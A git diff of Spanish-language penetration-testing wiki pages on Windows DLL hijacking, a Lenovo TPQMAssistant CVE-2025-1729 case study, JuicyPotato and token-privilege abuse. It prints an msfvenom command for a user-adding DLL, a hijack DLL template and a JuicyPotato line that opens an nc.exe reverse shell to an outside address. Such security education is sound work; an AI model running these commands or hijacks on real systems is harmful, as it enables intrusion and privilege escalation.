en un directorio controlado por el usuario junto con la aplicación copiada, pareciendo técnicas de Binary Proxy Execution. -## Finding missing Dlls +## Encontrando DLLs Faltantes La forma más común de encontrar DLLs faltantes dentro de un sistema es ejecutando [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) de sysinternals, **configurando** los **siguientes 2 filtros**: @@ -34,15 +34,15 @@ y solo mostrar la **Actividad del Sistema de Archivos**: Si estás buscando **dlls faltantes en general** debes **dejar** esto funcionando por algunos **segundos**.\ Si estás buscando un **dll faltante dentro de un ejecutable específico** deberías establecer **otro filtro como "Process Name" "contains" "\", ejecutarlo y detener la captura de eventos**. -## Exploiting Missing Dlls +## Explotando DLLs Faltantes -Para escalar privilegios, la mejor oportunidad que tenemos es poder **escribir un dll que un proceso privilegiado intentará cargar** en alguno de **los lugares donde se va a buscar**. Por lo tanto, podremos **escribir** un dll en una **carpeta** donde el **dll se busca antes** de la carpeta donde se encuentra el **dll original** (caso extraño), o podremos **escribir en alguna carpeta donde se va a buscar el dll** y el **dll original no existe** en ninguna carpeta. +Para escalar privilegios, la mejor oportunidad que tenemos es poder **escribir un dll que un proceso privilegiado intentará cargar** en alguno de **los lugares donde se va a buscar**. Por lo tanto, podremos **escribir** un dll en una **carpeta** donde el **dll se busca antes** de la carpeta donde está el **dll original** (caso extraño), o podremos **escribir en alguna carpeta donde se va a buscar el dll** y el **dll original no existe** en ninguna carpeta. -### Dll Search Order +### Orden de Búsqueda de DLL **Dentro de la** [**documentación de Microsoft**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **puedes encontrar cómo se cargan específicamente los DLLs.** -**Las aplicaciones de Windows** buscan DLLs siguiendo un conjunto de **rutas de búsqueda predefinidas**, adhiriéndose a una secuencia particular. El problema del DLL hijacking surge cuando un DLL dañino se coloca estratégicamente en uno de estos directorios, asegurando que se cargue antes que el DLL auténtico. Una solución para prevenir esto es asegurarse de que la aplicación utilice rutas absolutas al referirse a los DLLs que requiere. +**Las aplicaciones de Windows** buscan DLLs siguiendo un conjunto de **rutas de búsqueda predefinidas**, adhiriéndose a una secuencia particular. El problema del DLL hijacking surge cuando un DLL dañino se coloca estratégicamente en uno de estos directorios, asegurando que se cargue antes que el DLL auténtico. Una solución para prevenir esto es asegurarse de que la aplicación utilice rutas absolutas al referirse a los DLLs que necesita. Puedes ver el **orden de búsqueda de DLL en sistemas de 32 bits** a continuación: @@ -54,15 +54,15 @@ Puedes ver el **orden de búsqueda de DLL en sistemas de 32 bits** a continuaci 5. El directorio actual. 6. Los directorios que están listados en la variable de entorno PATH. Ten en cuenta que esto no incluye la ruta por aplicación especificada por la clave de registro **App Paths**. La clave **App Paths** no se utiliza al calcular la ruta de búsqueda de DLL. -Ese es el **orden de búsqueda predeterminado** con **SafeDllSearchMode** habilitado. Cuando está deshabilitado, el directorio actual asciende al segundo lugar. Para deshabilitar esta función, crea el valor de registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** y configúralo en 0 (el valor predeterminado está habilitado). +Ese es el **orden de búsqueda** **predeterminado** con **SafeDllSearchMode** habilitado. Cuando está deshabilitado, el directorio actual asciende al segundo lugar. Para deshabilitar esta función, crea el valor de registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** y configúralo en 0 (el valor predeterminado está habilitado). -Si se llama a la función [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) con **LOAD_WITH_ALTERED_SEARCH_PATH**, la búsqueda comienza en el directorio del módulo ejecutable que **LoadLibraryEx** está cargando. +Si la función [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) se llama con **LOAD_WITH_ALTERED_SEARCH_PATH**, la búsqueda comienza en el directorio del módulo ejecutable que **LoadLibraryEx** está cargando. -Finalmente, ten en cuenta que **un dll podría ser cargado indicando la ruta absoluta en lugar de solo el nombre**. En ese caso, ese dll **solo se va a buscar en esa ruta** (si el dll tiene dependencias, se buscarán como si se cargaran solo por nombre). +Finalmente, ten en cuenta que **un dll podría ser cargado indicando la ruta absoluta en lugar de solo el nombre**. En ese caso, ese dll **solo se va a buscar en esa ruta** (si el dll tiene alguna dependencia, se buscarán como si se cargaran solo por nombre). Hay otras formas de alterar el orden de búsqueda, pero no voy a explicarlas aquí. -#### Exceptions on dll search order from Windows docs +#### Excepciones en el orden de búsqueda de dll según la documentación de Windows Ciertas excepciones al orden de búsqueda estándar de DLL se anotan en la documentación de Windows: @@ -70,14 +70,14 @@ Ciertas excepciones al orden de búsqueda estándar de DLL se anotan en la docum - En casos donde el DLL es reconocido como un **DLL conocido** para la versión actual de Windows, el sistema utilizará su versión del DLL conocido, junto con cualquiera de sus DLLs dependientes, **omitindo el proceso de búsqueda**. La clave de registro **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contiene una lista de estos DLLs conocidos. - Si un **DLL tiene dependencias**, la búsqueda de estos DLLs dependientes se lleva a cabo como si se indicaran solo por sus **nombres de módulo**, independientemente de si el DLL inicial fue identificado a través de una ruta completa. -### Escalating Privileges +### Escalando Privilegios **Requisitos**: - Identificar un proceso que opera o operará bajo **diferentes privilegios** (movimiento horizontal o lateral), que **carece de un DLL**. - Asegurarse de que hay **acceso de escritura** disponible para cualquier **directorio** en el que se **buscará el DLL**. Esta ubicación podría ser el directorio del ejecutable o un directorio dentro de la ruta del sistema. -Sí, los requisitos son complicados de encontrar ya que **por defecto es un poco extraño encontrar un ejecutable privilegiado que carezca de un dll** y es aún **más extraño tener permisos de escritura en una carpeta de ruta del sistema** (no puedes por defecto). Pero, en entornos mal configurados esto es posible.\ +Sí, los requisitos son complicados de encontrar ya que **por defecto es un poco extraño encontrar un ejecutable privilegiado que falte un dll** y es aún **más extraño tener permisos de escritura en una carpeta de ruta del sistema** (no puedes por defecto). Pero, en entornos mal configurados esto es posible.\ En el caso de que tengas suerte y te encuentres cumpliendo con los requisitos, podrías revisar el proyecto [UACME](https://github.com/hfiref0x/UACME). Aunque el **objetivo principal del proyecto es eludir UAC**, puedes encontrar allí un **PoC** de un Dll hijacking para la versión de Windows que puedes usar (probablemente solo cambiando la ruta de la carpeta donde tienes permisos de escritura). Ten en cuenta que puedes **verificar tus permisos en una carpeta** haciendo: @@ -102,12 +102,12 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md ### Herramientas automatizadas -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) comprobará si tienes permisos de escritura en cualquier carpeta dentro de la ruta del sistema.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) verificará si tienes permisos de escritura en cualquier carpeta dentro de la ruta del sistema.\ Otras herramientas automatizadas interesantes para descubrir esta vulnerabilidad son las **funciones de PowerSploit**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ y _Write-HijackDll._ ### Ejemplo -En caso de que encuentres un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería **crear un dll que exporte al menos todas las funciones que el ejecutable importará de él**. De todos modos, ten en cuenta que Dll Hijacking es útil para [escalar de nivel de integridad medio a alto **(eludiendo UAC)**](../authentication-credentials-uac-and-efs.md#uac) o de [**alta integridad a SYSTEM**](./#from-high-integrity-to-system)**.** Puedes encontrar un ejemplo de **cómo crear un dll válido** dentro de este estudio de dll hijacking enfocado en dll hijacking para ejecución: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ +En caso de que encuentres un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería **crear un dll que exporte al menos todas las funciones que el ejecutable importará de él**. De todos modos, ten en cuenta que Dll Hijacking es útil para [escalar de nivel de integridad medio a alto **(eludiendo UAC)**](../authentication-credentials-uac-and-efs.md#uac) o de [**alta integridad a SYSTEM**](#from-high-integrity-to-system)**.** Puedes encontrar un ejemplo de **cómo crear un dll válido** dentro de este estudio de dll hijacking enfocado en dll hijacking para ejecución: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ Además, en la **siguiente sección** puedes encontrar algunos **códigos dll básicos** que podrían ser útiles como **plantillas** o para crear un **dll con funciones no requeridas exportadas**. ## **Creando y compilando Dlls** @@ -134,7 +134,7 @@ msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll ``` ### Tu propio -Ten en cuenta que en varios casos el Dll que compiles debe **exportar varias funciones** que van a ser cargadas por el proceso víctima; si estas funciones no existen, el **binario no podrá cargarlas** y el **exploit fallará**. +Ten en cuenta que en varios casos el Dll que compilas debe **exportar varias funciones** que van a ser cargadas por el proceso víctima; si estas funciones no existen, el **binario no podrá cargarlas** y el **exploit fallará**. ```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md index d06435c0d..9f6050a6c 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md @@ -5,7 +5,7 @@ ## Información Básica -El DLL Hijacking implica manipular una aplicación de confianza para cargar un DLL malicioso. Este término abarca varias tácticas como **DLL Spoofing, Injection, y Side-Loading**. Se utiliza principalmente para la ejecución de código, lograr persistencia y, menos comúnmente, escalada de privilegios. A pesar del enfoque en la escalada aquí, el método de secuestro sigue siendo consistente a través de los objetivos. +El DLL Hijacking implica manipular una aplicación de confianza para cargar un DLL malicioso. Este término abarca varias tácticas como **DLL Spoofing, Injection, y Side-Loading**. Se utiliza principalmente para la ejecución de código, logrando persistencia y, menos comúnmente, escalación de privilegios. A pesar del enfoque en la escalación aquí, el método de secuestro sigue siendo consistente a través de los objetivos. ### Técnicas Comunes @@ -16,7 +16,7 @@ Se emplean varios métodos para el DLL hijacking, cada uno con su efectividad de 3. **Secuestro de DLL Fantasma**: Crear un DLL malicioso para que una aplicación lo cargue, pensando que es un DLL requerido que no existe. 4. **Redirección de DLL**: Modificar parámetros de búsqueda como `%PATH%` o archivos `.exe.manifest` / `.exe.local` para dirigir la aplicación al DLL malicioso. 5. **Reemplazo de DLL en WinSxS**: Sustituir el DLL legítimo por un contraparte malicioso en el directorio WinSxS, un método a menudo asociado con el side-loading de DLL. -6. **Secuestro de DLL por Ruta Relativa**: Colocar el DLL malicioso en un directorio controlado por el usuario junto con la aplicación copiada, pareciendo técnicas de Ejecución de Proxy Binario. +6. **Secuestro de DLL de Ruta Relativa**: Colocar el DLL malicioso en un directorio controlado por el usuario junto con la aplicación copiada, pareciendo técnicas de Ejecución de Proxy Binario. ## Encontrando DLLs Faltantes @@ -35,35 +35,34 @@ Si estás buscando un **dll faltante dentro de un ejecutable específico**, debe ## Explotando DLLs Faltantes -Para escalar privilegios, la mejor oportunidad que tenemos es poder **escribir un dll que un proceso privilegiado intentará cargar** en algún **lugar donde se va a buscar**. Por lo tanto, podremos **escribir** un dll en una **carpeta** donde el **dll se busca antes** de la carpeta donde está el **dll original** (caso extraño), o podremos **escribir en alguna carpeta donde se va a buscar el dll** y el **dll original no existe** en ninguna carpeta. +Para escalar privilegios, la mejor oportunidad que tenemos es poder **escribir un dll que un proceso privilegiado intentará cargar** en alguno de **los lugares donde se va a buscar**. Por lo tanto, podremos **escribir** un dll en una **carpeta** donde el **dll se busca antes** de la carpeta donde está el **dll original** (caso extraño), o podremos **escribir en alguna carpeta donde se va a buscar el dll** y el **dll original no existe** en ninguna carpeta. ### Orden de Búsqueda de DLL **Dentro de la** [**documentación de Microsoft**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **puedes encontrar cómo se cargan específicamente los DLLs.** -**Las aplicaciones de Windows** buscan DLLs siguiendo un conjunto de **rutas de búsqueda predefinidas**, adhiriéndose a una secuencia particular. El problema del DLL hijacking surge cuando un DLL dañino se coloca estratégicamente en uno de estos directorios, asegurando que se cargue antes que el DLL auténtico. Una solución para prevenir esto es asegurarse de que la aplicación utilice rutas absolutas al referirse a los DLLs que necesita. +**Las aplicaciones de Windows** buscan DLLs siguiendo un conjunto de **rutas de búsqueda predefinidas**, adhiriéndose a una secuencia particular. El problema del DLL hijacking surge cuando un DLL dañino se coloca estratégicamente en uno de estos directorios, asegurando que se cargue antes que el DLL auténtico. Una solución para prevenir esto es asegurarse de que la aplicación use rutas absolutas al referirse a los DLLs que necesita. Puedes ver el **orden de búsqueda de DLL en sistemas de 32 bits** a continuación: 1. El directorio desde el cual se cargó la aplicación. -2. El directorio del sistema. Usa la función [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) para obtener la ruta de este directorio.(_C:\Windows\System32_) +2. El directorio del sistema. Usa la función [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) para obtener la ruta de este directorio. (_C:\Windows\System32_) 3. El directorio del sistema de 16 bits. No hay función que obtenga la ruta de este directorio, pero se busca. (_C:\Windows\System_) -4. El directorio de Windows. Usa la función [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) para obtener la ruta de este directorio. -1. (_C:\Windows_) +4. El directorio de Windows. Usa la función [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) para obtener la ruta de este directorio. (_C:\Windows_) 5. El directorio actual. 6. Los directorios que están listados en la variable de entorno PATH. Ten en cuenta que esto no incluye la ruta por aplicación especificada por la clave de registro **App Paths**. La clave **App Paths** no se utiliza al calcular la ruta de búsqueda de DLL. -Ese es el **orden de búsqueda predeterminado** con **SafeDllSearchMode** habilitado. Cuando está deshabilitado, el directorio actual asciende al segundo lugar. Para deshabilitar esta función, crea el valor de registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** y configúralo en 0 (el valor predeterminado está habilitado). +Ese es el **orden de búsqueda** **predeterminado** con **SafeDllSearchMode** habilitado. Cuando está deshabilitado, el directorio actual asciende al segundo lugar. Para deshabilitar esta función, crea el valor de registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** y configúralo en 0 (el valor predeterminado está habilitado). Si se llama a la función [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) con **LOAD_WITH_ALTERED_SEARCH_PATH**, la búsqueda comienza en el directorio del módulo ejecutable que **LoadLibraryEx** está cargando. -Finalmente, ten en cuenta que **un dll podría ser cargado indicando la ruta absoluta en lugar de solo el nombre**. En ese caso, ese dll **solo se buscará en esa ruta** (si el dll tiene dependencias, se buscarán como si se cargaran solo por nombre). +Finalmente, ten en cuenta que **un dll podría ser cargado indicando la ruta absoluta en lugar de solo el nombre**. En ese caso, ese dll **solo se va a buscar en esa ruta** (si el dll tiene alguna dependencia, se buscarán como si se cargaran solo por nombre). Hay otras formas de alterar el orden de búsqueda, pero no voy a explicarlas aquí. #### Excepciones en el orden de búsqueda de DLL según la documentación de Windows -Ciertas excepciones al orden de búsqueda estándar de DLL se mencionan en la documentación de Windows: +Ciertas excepciones al orden de búsqueda estándar de DLL se anotan en la documentación de Windows: - Cuando se encuentra un **DLL que comparte su nombre con uno ya cargado en memoria**, el sistema omite la búsqueda habitual. En su lugar, realiza una verificación de redirección y un manifiesto antes de recurrir al DLL ya en memoria. **En este escenario, el sistema no realiza una búsqueda del DLL**. - En casos donde el DLL es reconocido como un **DLL conocido** para la versión actual de Windows, el sistema utilizará su versión del DLL conocido, junto con cualquiera de sus DLLs dependientes, **omitindo el proceso de búsqueda**. La clave de registro **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contiene una lista de estos DLLs conocidos. @@ -73,7 +72,7 @@ Ciertas excepciones al orden de búsqueda estándar de DLL se mencionan en la do **Requisitos**: -- Identificar un proceso que opere o operará bajo **diferentes privilegios** (movimiento horizontal o lateral), que **carezca de un DLL**. +- Identificar un proceso que opera o operará bajo **diferentes privilegios** (movimiento horizontal o lateral), que **carece de un DLL**. - Asegurarse de que hay **acceso de escritura** disponible para cualquier **directorio** en el que se **buscará el DLL**. Esta ubicación podría ser el directorio del ejecutable o un directorio dentro de la ruta del sistema. Sí, los requisitos son complicados de encontrar ya que **por defecto es un poco extraño encontrar un ejecutable privilegiado que falte un dll** y es aún **más extraño tener permisos de escritura en una carpeta de ruta del sistema** (no puedes por defecto). Pero, en entornos mal configurados, esto es posible.\ @@ -101,12 +100,12 @@ writable-sys-path-+dll-hijacking-privesc.md ### Herramientas automatizadas -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) comprobará si tienes permisos de escritura en cualquier carpeta dentro de la ruta del sistema.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) verificará si tienes permisos de escritura en cualquier carpeta dentro de la ruta del sistema.\ Otras herramientas automatizadas interesantes para descubrir esta vulnerabilidad son las **funciones de PowerSploit**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ y _Write-HijackDll._ ### Ejemplo -En caso de que encuentres un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería **crear un dll que exporte al menos todas las funciones que el ejecutable importará de él**. De todos modos, ten en cuenta que Dll Hijacking es útil para [escalar de nivel de integridad medio a alto **(eludiendo UAC)**](../../authentication-credentials-uac-and-efs/#uac) o de [**alta integridad a SYSTEM**](../#from-high-integrity-to-system)**.** Puedes encontrar un ejemplo de **cómo crear un dll válido** dentro de este estudio de dll hijacking enfocado en dll hijacking para ejecución: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ +En caso de que encuentres un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería **crear un dll que exporte al menos todas las funciones que el ejecutable importará de él**. De todos modos, ten en cuenta que Dll Hijacking es útil para [escalar de nivel de integridad medio a alto **(eludiendo UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) o de [**alta integridad a SYSTEM**](../index.html#from-high-integrity-to-system)**.** Puedes encontrar un ejemplo de **cómo crear un dll válido** dentro de este estudio de dll hijacking enfocado en dll hijacking para ejecución: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ Además, en la **siguiente sección** puedes encontrar algunos **códigos dll básicos** que podrían ser útiles como **plantillas** o para crear un **dll con funciones no requeridas exportadas**. ## **Creando y compilando Dlls** @@ -133,7 +132,7 @@ msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll ``` ### Tu propio -Ten en cuenta que en varios casos el Dll que compiles debe **exportar varias funciones** que van a ser cargadas por el proceso víctima; si estas funciones no existen, el **binario no podrá cargarlas** y el **exploit fallará**. +Ten en cuenta que en varios casos el Dll que compilas debe **exportar varias funciones** que van a ser cargadas por el proceso víctima; si estas funciones no existen, el **binario no podrá cargarlas** y el **exploit fallará**. ```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared @@ -214,10 +213,48 @@ break; return TRUE; } ``` +## Estudio de Caso: CVE-2025-1729 - Escalación de Privilegios Usando TPQMAssistant.exe + +Este caso demuestra **Phantom DLL Hijacking** en el Menú Rápido TrackPoint de Lenovo (`TPQMAssistant.exe`), rastreado como **CVE-2025-1729**. + +### Detalles de la Vulnerabilidad + +- **Componente**: `TPQMAssistant.exe` ubicado en `C:\ProgramData\Lenovo\TPQM\Assistant\`. +- **Tarea Programada**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` se ejecuta diariamente a las 9:30 AM bajo el contexto del usuario conectado. +- **Permisos de Directorio**: Escribible por `CREATOR OWNER`, permitiendo a los usuarios locales colocar archivos arbitrarios. +- **Comportamiento de Búsqueda de DLL**: Intenta cargar `hostfxr.dll` desde su directorio de trabajo primero y registra "NAME NOT FOUND" si falta, indicando la precedencia de búsqueda en el directorio local. + +### Implementación del Exploit + +Un atacante puede colocar un stub malicioso `hostfxr.dll` en el mismo directorio, explotando la DLL faltante para lograr la ejecución de código bajo el contexto del usuario: +```c +#include + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) { +if (fdwReason == DLL_PROCESS_ATTACH) { +// Payload: display a message box (proof-of-concept) +MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK); +} +return TRUE; +} +``` +### Flujo de Ataque + +1. Como usuario estándar, coloca `hostfxr.dll` en `C:\ProgramData\Lenovo\TPQM\Assistant\`. +2. Espera a que la tarea programada se ejecute a las 9:30 AM bajo el contexto del usuario actual. +3. Si un administrador ha iniciado sesión cuando se ejecuta la tarea, el DLL malicioso se ejecuta en la sesión del administrador con integridad media. +4. Encadena técnicas estándar de bypass de UAC para elevar de integridad media a privilegios de SYSTEM. + +### Mitigación + +Lenovo lanzó la versión UWP **1.12.54.0** a través de Microsoft Store, que instala TPQMAssistant en `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`, elimina la tarea programada vulnerable y desinstala los componentes heredados de Win32. + ## Referencias +- [CVE-2025-1729 - Escalación de Privilegios Usando TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe) +- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng) + - [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e) - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html) - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md index 949c04ae4..6e8c9d934 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -42,7 +42,7 @@ $newPath = "$envPath;$folderPath" - Inicie **`procmon`** y vaya a **`Opciones`** --> **`Habilitar registro de arranque`** y presione **`Aceptar`** en el aviso. - Luego, **reinicie**. Cuando la computadora se reinicie, **`procmon`** comenzará a **grabar** eventos lo antes posible. - Una vez que **Windows** esté **iniciado, ejecute `procmon`** nuevamente, le dirá que ha estado funcionando y le **preguntará si desea almacenar** los eventos en un archivo. Diga **sí** y **almacene los eventos en un archivo**. -- **Después** de que se **genere** el **archivo**, **cierre** la ventana de **`procmon`** abierta y **abra el archivo de eventos**. +- **Después** de que se **genere el archivo**, **cierre** la ventana de **`procmon`** abierta y **abra el archivo de eventos**. - Agregue estos **filtros** y encontrará todos los Dlls que algún **proceso intentó cargar** desde la carpeta de System Path escribible:
@@ -55,11 +55,11 @@ Ejecutando esto en una **máquina virtual (vmware) Windows 11** gratuita, obtuve En este caso, los .exe son inútiles, así que ignórelos, los DLLs perdidos eran de: -| Servicio | Dll | Línea de CMD | -| ------------------------------- | ------------------ | -------------------------------------------------------------------- | -| Programador de tareas (Schedule) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule` | +| Servicio | Dll | Línea de CMD | +| ------------------------------- | ------------------ | ------------------------------------------------------------------ | +| Programador de tareas (Schedule) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule` | | Servicio de política de diagnóstico (DPS) | Unknown.DLL | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` | -| ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` | +| ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` | Después de encontrar esto, encontré esta interesante publicación de blog que también explica cómo [**abusar de WptsExtensions.dll para privesc**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll). Que es lo que **vamos a hacer ahora**. diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 50424d735..2853b3bfc 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -45,8 +45,8 @@ JuicyPotato te permite: - `ambos` - **Proceso a lanzar** _lanzar un ejecutable o script si la explotación tiene éxito_ - **Argumento del proceso** _personaliza los argumentos del proceso lanzado_ -- **Dirección del servidor RPC** _para un enfoque sigiloso, puedes autenticarte a un servidor RPC externo_ -- **Puerto del servidor RPC** _útil si deseas autenticarte a un servidor externo y el firewall está bloqueando el puerto `135`…_ +- **Dirección del servidor RPC** _para un enfoque sigiloso, puedes autenticarte en un servidor RPC externo_ +- **Puerto del servidor RPC** _útil si deseas autenticarte en un servidor externo y el firewall está bloqueando el puerto `135`…_ - **MODO DE PRUEBA** _principalmente para fines de prueba, es decir, probando CLSIDs. Crea el DCOM e imprime el usuario del token. Ver_ [_aquí para pruebas_](http://ohpe.it/juicy-potato/Test/) ### Uso @@ -82,7 +82,7 @@ De: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) Nota: Visita [esta página](https://ohpe.it/juicy-potato/CLSID/) para una lista de CLSIDs para probar. -### Obtén un shell reverso de nc.exe +### Obtener un shell reverso de nc.exe ``` c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t * @@ -117,7 +117,7 @@ Primero, necesitarás algunos ejecutables además de juicypotato.exe. Descarga [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) y cárgalo en tu sesión de PS, y descarga y ejecuta [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Ese script creará una lista de posibles CLSIDs para probar. -Luego descarga [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(cambia la ruta a la lista de CLSID y al ejecutable de juicypotato) y ejecútalo. Comenzará a probar cada CLSID, y **cuando el número de puerto cambie, significará que el CLSID funcionó**. +Luego descarga [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (cambia la ruta a la lista de CLSID y al ejecutable de juicypotato) y ejecútalo. Comenzará a probar cada CLSID, y **cuando el número de puerto cambie, significará que el CLSID funcionó**. **Verifica** los CLSIDs funcionales **usando el parámetro -c** diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md index 43d3d35c4..031c7cc2c 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md @@ -1,4 +1,4 @@ -# Abusing Tokens +# Abuso de Tokens {{#include ../../banners/hacktricks-training.md}} @@ -14,7 +14,7 @@ access-tokens.md ### SeImpersonatePrivilege -Este es un privilegio que posee cualquier proceso que permite la suplantación (pero no la creación) de cualquier token, dado que se puede obtener un handle para ello. Un token privilegiado se puede adquirir de un servicio de Windows (DCOM) induciéndolo a realizar autenticación NTLM contra un exploit, lo que permite posteriormente la ejecución de un proceso con privilegios de SYSTEM. Esta vulnerabilidad se puede explotar utilizando varias herramientas, como [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (que requiere que winrm esté deshabilitado), [SweetPotato](https://github.com/CCob/SweetPotato), y [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). +Este es un privilegio que posee cualquier proceso que permite la suplantación (pero no la creación) de cualquier token, dado que se puede obtener un handle para ello. Un token privilegiado se puede adquirir de un servicio de Windows (DCOM) induciéndolo a realizar autenticación NTLM contra un exploit, lo que permite posteriormente la ejecución de un proceso con privilegios de SYSTEM. Esta vulnerabilidad se puede explotar utilizando varias herramientas, como [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (que requiere que winrm esté deshabilitado), [SweetPotato](https://github.com/CCob/SweetPotato) y [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). {{#ref}} roguepotato-and-printspoofer.md @@ -32,11 +32,11 @@ Con el token, puedes crear un **nuevo proceso** con 'CreateProcessAsUser' o crea ### SeTcbPrivilege -Si tienes habilitado este token, puedes usar **KERB_S4U_LOGON** para obtener un **token de suplantación** para cualquier otro usuario sin conocer las credenciales, **agregar un grupo arbitrario** (administradores) al token, establecer el **nivel de integridad** del token en "**medio**", y asignar este token al **hilo actual** (SetThreadToken). 